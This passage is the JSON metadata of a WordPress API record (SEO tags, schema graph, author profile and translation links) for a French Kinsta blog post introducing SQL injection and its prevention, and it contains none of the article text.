content=\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\" \/>\n<meta property=\"og:site_name\" content=\"Kinsta\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/kinstafrance\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-14T08:42:12+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-18T08:09:22+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1460\" \/>\n\t<meta property=\"og:image:height\" content=\"730\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Shaumik Daityari\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:description\" content=\"Apprenez ce qu&#039;est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l&#039;injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@kinsta_fr\" \/>\n<meta name=\"twitter:site\" content=\"@kinsta_fr\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shaumik Daityari\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\"},\"author\":{\"name\":\"Shaumik Daityari\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\"},\"headline\":\"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress\",\"datePublished\":\"2020-01-14T08:42:12+00:00\",\"dateModified\":\"2022-07-18T08:09:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\"},\"wordCount\":2950,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#organization\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg\",\"keywords\":[\"s\u00e9curit\u00e9 du site\",\"wordpresshack\"],\"articleSection\":[\"S\u00e9curit\u00e9 WordPress\"],\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\",\"url\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\",\"name\":\"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg\",\"datePublished\":\"2020-01-14T08:42:12+00:00\",\"dateModified\":\"2022-07-18T08:09:22+00:00\",\"description\":\"Apprenez ce qu'est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l'injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage\",\"url\":\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg\",\"width\":1460,\"height\":730,\"caption\":\"Injection SQL\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.kinsta.site\/fr\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#website\",\"url\":\"https:\/\/staging.kinsta.site\/fr\/\",\"name\":\"Kinsta\",\"description\":\"Solutions d&#039;h\u00e9bergement premium, rapides et s\u00e9curis\u00e9es\",\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.kinsta.site\/fr\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#organization\",\"name\":\"Kinsta\",\"url\":\"https:\/\/staging.kinsta.site\/fr\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2018\/05\/kinsta.png\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2018\/05\/kinsta.png\",\"width\":580,\"height\":580,\"caption\":\"Kinsta\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/kinstafrance\/\",\"https:\/\/x.com\/kinsta_fr\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\",\"name\":\"Shaumik Daityari\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/staging.kinsta.site\/fr\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"caption\":\"Shaumik Daityari\"},\"description\":\"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!\",\"url\":\"https:\/\/staging.kinsta.site\/fr\/blog\/author\/shaumikdaityari\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress","description":"Apprenez ce qu'est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l'injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/","og_locale":"fr_FR","og_type":"article","og_title":"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress","og_description":"Apprenez ce qu'est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l'injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.","og_url":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/","og_site_name":"Kinsta","article_publisher":"https:\/\/www.facebook.com\/kinstafrance\/","article_published_time":"2020-01-14T08:42:12+00:00","article_modified_time":"2022-07-18T08:09:22+00:00","og_image":[{"width":1460,"height":730,"url":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg","type":"image\/jpeg"}],"author":"Shaumik Daityari","twitter_card":"summary_large_image","twitter_description":"Apprenez ce qu'est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l'injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.","twitter_image":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg","twitter_creator":"@kinsta_fr","twitter_site":"@kinsta_fr","twitter_misc":{"\u00c9crit par":"Shaumik Daityari","Dur\u00e9e de lecture estim\u00e9e":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#article","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/"},"author":{"name":"Shaumik Daityari","@id":"https:\/\/staging.kinsta.site\/fr\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504"},"headline":"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress","datePublished":"2020-01-14T08:42:12+00:00","dateModified":"2022-07-18T08:09:22+00:00","mainEntityOfPage":{"@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/"},"wordCount":2950,"commentCount":0,"publisher":{"@id":"https:\/\/staging.kinsta.site\/fr\/#organization"},"image":{"@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg","keywords":["s\u00e9curit\u00e9 du site","wordpresshack"],"articleSection":["S\u00e9curit\u00e9 WordPress"],"inLanguage":"fr-FR","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/","url":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/","name":"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/fr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage"},"image":{"@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg","datePublished":"2020-01-14T08:42:12+00:00","dateModified":"2022-07-18T08:09:22+00:00","description":"Apprenez ce qu'est une injection SQL, comment la vuln\u00e9rabilit\u00e9 de l'injection SQL peut exister dans vos applications web (comme les sites WordPress) et comment pr\u00e9venir les attaques.","breadcrumb":{"@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#primaryimage","url":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg","contentUrl":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2020\/01\/injection-sql.jpg","width":1460,"height":730,"caption":"Injection SQL"},{"@type":"BreadcrumbList","@id":"https:\/\/staging.kinsta.site\/fr\/blog\/injections-sql\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.kinsta.site\/fr\/"},{"@type":"ListItem","position":2,"name":"Injections SQL : Un guide de d\u00e9butant pour les utilisateurs de WordPress"}]},{"@type":"WebSite","@id":"https:\/\/staging.kinsta.site\/fr\/#website","url":"https:\/\/staging.kinsta.site\/fr\/","name":"Kinsta","description":"Solutions d&#039;h\u00e9bergement premium, rapides et s\u00e9curis\u00e9es","publisher":{"@id":"https:\/\/staging.kinsta.site\/fr\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.kinsta.site\/fr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/staging.kinsta.site\/fr\/#organization","name":"Kinsta","url":"https:\/\/staging.kinsta.site\/fr\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/staging.kinsta.site\/fr\/#\/schema\/logo\/image\/","url":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2018\/05\/kinsta.png","contentUrl":"https:\/\/staging.kinsta.site\/fr\/wp-content\/uploads\/sites\/4\/2018\/05\/kinsta.png","width":580,"height":580,"caption":"Kinsta"},"image":{"@id":"https:\/\/staging.kinsta.site\/fr\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/kinstafrance\/","https:\/\/x.com\/kinsta_fr"]},{"@type":"Person","@id":"https:\/\/staging.kinsta.site\/fr\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504","name":"Shaumik Daityari","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/staging.kinsta.site\/fr\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","caption":"Shaumik Daityari"},"description":"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!","url":"https:\/\/staging.kinsta.site\/fr\/blog\/author\/shaumikdaityari\/"}]}},"acf":[],"_links":{"self":[{"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/posts\/35985","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/comments?post=35985"}],"version-history":[{"count":11,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/posts\/35985\/revisions"}],"predecessor-version":[{"id":59679,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/posts\/35985\/revisions\/59679"}],"alternate":[{"embeddable":true,"hreflang":"en","title":"English","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/en"},{"embeddable":true,"hreflang":"fr","title":"French","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/fr"},{"embeddable":true,"hreflang":"es","title":"Spanish","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/es"},{"embeddable":true,"hreflang":"pt","title":"Portuguese","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/pt"},{"embeddable":true,"hreflang":"it","title":"Italian","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/it"},{"embeddable":true,"hreflang":"da","title":"Danish","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/dk"},{"embeddable":true,"hreflang":"nl","title":"Dutch","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/nl"},{"embeddable":true,"hreflang":"de","title":"German","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/de"},{"embeddable":true,"hreflang":"sv","title":"Swedish","href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/translations\/se"},{"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/kinsta\/v1\/posts\/35985\/tree"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/media\/35988"}],"wp:attachment":[{"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/media?parent=35985"}],"wp:term":[{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/tags?post=35985"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/staging.kinsta.site\/fr\/wp-json\/wp\/v2\/topic?post=35985"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}